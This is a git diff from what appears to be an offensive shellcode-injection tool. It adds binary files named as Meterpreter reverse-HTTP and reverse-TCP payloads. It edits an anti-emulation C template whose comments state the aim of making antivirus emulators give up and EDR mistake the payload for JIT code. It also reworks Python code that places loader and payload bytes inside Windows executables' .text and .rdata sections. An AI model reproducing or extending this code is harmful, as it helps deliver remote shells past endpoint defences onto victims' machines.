diff --git a/data/binary/shellcodes/met_revhttp.bin b/data/binary/shellcodes/met_revhttp.bin new file mode 100644 index 0000000..624fc6d Binary files /dev/null and b/data/binary/shellcodes/met_revhttp.bin differ diff --git a/data/binary/shellcodes/met_revhttp_hetzner.bin b/data/binary/shellcodes/met_revhttp_hetzner.bin new file mode 100644 index 0000000..5354008 Binary files /dev/null and b/data/binary/shellcodes/met_revhttp_hetzner.bin differ diff --git a/data/binary/shellcodes/revtcp_b.bin b/data/binary/shellcodes/revtcp_b.bin new file mode 100644 index 0000000..dd4347a Binary files /dev/null and b/data/binary/shellcodes/revtcp_b.bin differ diff --git a/data/source/antiemulation/sirallocalot.c b/data/source/antiemulation/sirallocalot.c index e0822ff..b4dafe5 100644 --- a/data/source/antiemulation/sirallocalot.c +++ b/data/source/antiemulation/sirallocalot.c @@ -1,28 +1,31 @@ -#define SIR_ITERATION_COUNT {{SIR_ITERATION_COUNT}} -#define SIR_ALLOC_COUNT {{SIR_ALLOC_COUNT}} - -#define SIR_SLEEP_TIME 200 // ms - - /* This will allocate SIR_ALLOC_COUNT RW memory regions, - set them to RX, and free them + set them to RX, and free them. + And this SIR_ITERATION_COUNT times. + + SIR_ITERATION_COUNT: Single digits, around 5 + SIR_ALLOC_COUNT: Tripple digits, around 100 - The idea is that the AV emulator will probably give up, either because - of used memory is above maximum, or amount of instructions, or - number of API calls, or time. + Memory : SIR_ALLOC_COUNT * payload_length + Cycles : SIR_ALLOC_COUNT * payload_length * SIR_ITERATION_COUNT + Time : SIR_ALLOC_COUNT * SIR_ITERATION_COUNT * payload_length * ? + API calls: SIR_ALLOC_COUNT * SIR_ITERATION_COUNT * 3 - It hopefully also makes the EDR think this program is doing some - kind of interpreter or JIT compilation, and not a malicious payload. + The idea is that the AV emulator will probably give up, either because + of used memory is above maximum, or amount of instructions, or + number of API calls, or time. + + It hopefully also makes the EDR think this program is doing some + kind of interpreter or JIT compilation, and not a malicious payload. */ void antiemulation() { - void* allocs[SIR_ALLOC_COUNT]; + void* allocs[{{SIR_ALLOC_COUNT}}]; DWORD result; - for(int i=0; i bool: - return self.get_section_by_name(".rdata") + return self.get_section_by_name(".rdata") != None def write_code_section_data(self, data: bytes): diff --git a/phases/injector.py b/phases/injector.py index 558d359..55da96e 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -45,30 +45,62 @@ class Injector(): def init_addresses(self): - rm = self.superpe.get_code_rangemanager() + if self.settings.payload_location == PayloadLocation.CODE: + #. text + # ┌───────────┬─────────────────────────────────────┬───────┐ + # │ ├────────┼────────┼───────────────────┤ │ + # │ │Carrier │ 1 Page │ Payload │ │ + # │ ├────────┼────────┼───────────────────┤ │ + # └───────────┴─────────────────────────────────────┴───────┘ + # + # Payload is page aligned when used with dll_loader_change - # TECHNIQUE0: - # assume payload is big, find a place for it, then prepend carrier (small) - complete_size = len(self.carrier_shc) + len(self.payload.payload_data) + 4096 + # carrier location + complete_size = len(self.carrier_shc) + 4096 + len(self.payload.payload_data) + rm = self.superpe.get_code_rangemanager() + largest_gap = rm.find_holes(complete_size) + if len(largest_gap) == 0: + raise Exception('No hole found in code section to fit payload!') + largest_gap_size = largest_gap[0][1] - largest_gap[0][0] + offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section + offset += largest_gap[0][0] + self.carrier_rva = self.superpe.get_code_section().VirtualAddress + offset - largest_gap = rm.find_holes(complete_size) - if len(largest_gap) == 0: - raise Exception('No hole found in code section to fit payload!') - largest_gap_size = largest_gap[0][1] - largest_gap[0][0] + # payload location: behind carrier + 1 page + if self.settings.carrier_name == "dll_loader_change": + self.payload_rva = self.carrier_rva + len(self.carrier_shc) + 4096 + 4096 + self.payload_rva = self.payload_rva & 0xFFFFF000 # page align + else: + # no page align + self.payload_rva = self.carrier_rva + len(self.carrier_shc) + 4096 + else: + # .text .rdata + # ┌─────────┬─────────┬───────┐ ┌────────┬─────────┬───────┐ + # │ │ │ │ │ │ │ │ + # │ │ carrier │ │ │ │payload │ │ + # │ │ │ │ │ │ │ │ + # └─────────┴─────────┴───────┘ └────────┴─────────┴───────┘ - # align to center - offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section - offset += largest_gap[0][0] + # carrier location + rm = self.superpe.get_code_rangemanager() + complete_size = len(self.carrier_shc) + largest_gap = rm.find_holes(complete_size) + if len(largest_gap) == 0: + raise Exception('No hole found in code section to fit payload!') + largest_gap_size = largest_gap[0][1] - largest_gap[0][0] + offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section + offset += largest_gap[0][0] + self.carrier_rva = self.superpe.get_code_section().VirtualAddress + offset - if self.settings.carrier_name == "dll_loader_change": - # Align to page size - offset = offset & 0xFFFFF000 - - # page aligned possibly - self.payload_rva = offset - - # prepend it a bit - self.carrier_rva = offset - len(self.payload.payload_data) - 4096 + # payload location + rdata_rm = self.superpe.get_rdata_rangemanager() + complete_size = len(self.payload.payload_data) + largest_gap = rdata_rm.find_holes(complete_size) + if len(largest_gap) == 0: + raise Exception('No hole found in code section to fit payload!') + largest_gap_size = largest_gap[0][1] - largest_gap[0][0] + offset = largest_gap[0][0] + self.payload_rva = self.superpe.get_section_by_name(".rdata").virt_addr + offset ## Inject @@ -105,6 +137,9 @@ class Injector(): else: # EXE/DLL carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva) + if carrier_offset == None: + raise Exception("Carrier Offset is None, invalid carrier RVA? 0x{:X}".format(self.carrier_rva)) + #logger.info("{} {}".format(self.carrier_rva, carrier_offset)) logger.info("--[ Inject: Write Carrier to 0x{:X} (0x{:X})".format( self.carrier_rva, carrier_offset)) @@ -205,7 +240,9 @@ class Injector(): raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format( len(jmp), len(placeholder) )) + idx = code.index(placeholder) code = code.replace(placeholder, jmp) + asm_disasm(code[idx:idx+7]) self.superpe.write_code_section_data(code) @@ -217,8 +254,6 @@ class Injector(): # nothing todo return - shellcode_offset = self.superpe.pe.get_offset_from_rva(self.payload_rva) - # insert data logger.info("---( DataReuseFixups: Inject the data") for datareuse_fixup in reusedata_fixups: @@ -226,6 +261,7 @@ class Injector(): datareuse_fixup.string_ref, datareuse_fixup.in_code)) if datareuse_fixup.in_code: # .text + shellcode_offset = self.superpe.pe.get_offset_from_rva(self.payload_rva) self.superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data) payload_rva = self.superpe.pe.get_rva_from_offset(shellcode_offset) datareuse_fixup.addr = payload_rva + self.injectable.superpe.get_image_base() @@ -270,8 +306,8 @@ class Injector(): ) asm_disasm(lea, instruction_virtual_address) # DEBUG if len(lea) != len(ref.placeholder): - raise Exception("DataReuseFixup: lea instr has different length than placeholder: {} != {} abort".format( - len(lea), len(ref.placeholder) + raise Exception("DataReuseFixup: lea instr has different length than placeholder {}: {} != {} abort".format( + ref.placeholder, len(lea), len(ref.placeholder) )) code = code.replace(ref.placeholder, lea) diff --git a/phases/templater.py b/phases/templater.py index 8ce943f..5ee6945 100644 --- a/phases/templater.py +++ b/phases/templater.py @@ -60,15 +60,19 @@ def create_c_from_template(settings: Settings, payload_len: int): filepath_antiemulation = PATH_ANTIEMULATION + "{}.c".format( settings.plugin_antiemulation) with open(filepath_antiemulation, "r", encoding='utf-8') as file: - sir_iteration_count = 5 - sir_alloc_count = int(config.get("sir_target_mem") / payload_len)+1 - # if too large, compiler will add a __checkstk dependency - if sir_alloc_count > 256: - sir_alloc_count = 256 - logging.info(" AntiEmulation target: iterations: {} alloc: {}".format( + sir_iteration_count = settings.sir_iteration_count + sir_alloc_count = settings.sir_alloc_count + # sir_alloc_count = int((int(config.get("sir_target_mem")) / payload_len))+1 + max_alloc_count = 256 + if sir_alloc_count > max_alloc_count: + # if too large, compiler will add a __checkstk dependency + logging.warning("Too large sir allocation count {}, setting to max {}".format( + sir_alloc_count, max_alloc_count + )) + sir_alloc_count = max_alloc_count + logging.info("> AntiEmulation: iterations: {} allocs: {}".format( sir_iteration_count, sir_alloc_count) ) - plugin_antiemualation = file.read() plugin_antiemualation = Template(plugin_antiemualation).render({ 'PAYLOAD_LEN': payload_len, diff --git a/supermega.py b/supermega.py index f2e9d0d..4e962e9 100644 --- a/supermega.py +++ b/supermega.py @@ -203,6 +203,10 @@ def start_real(settings: Settings): build_exe = settings.main_exe_path) observer.add_code_file("carrier_shc", carrier_shellcode) + logging.info("> Carrier Size: {} Payload Size: {}".format( + len(carrier_shellcode), len(project.payload.payload_data) + )) + # INJECT loader into an exe and do IAT & data references. Big task. injector = phases.injector.Injector( carrier_shellcode,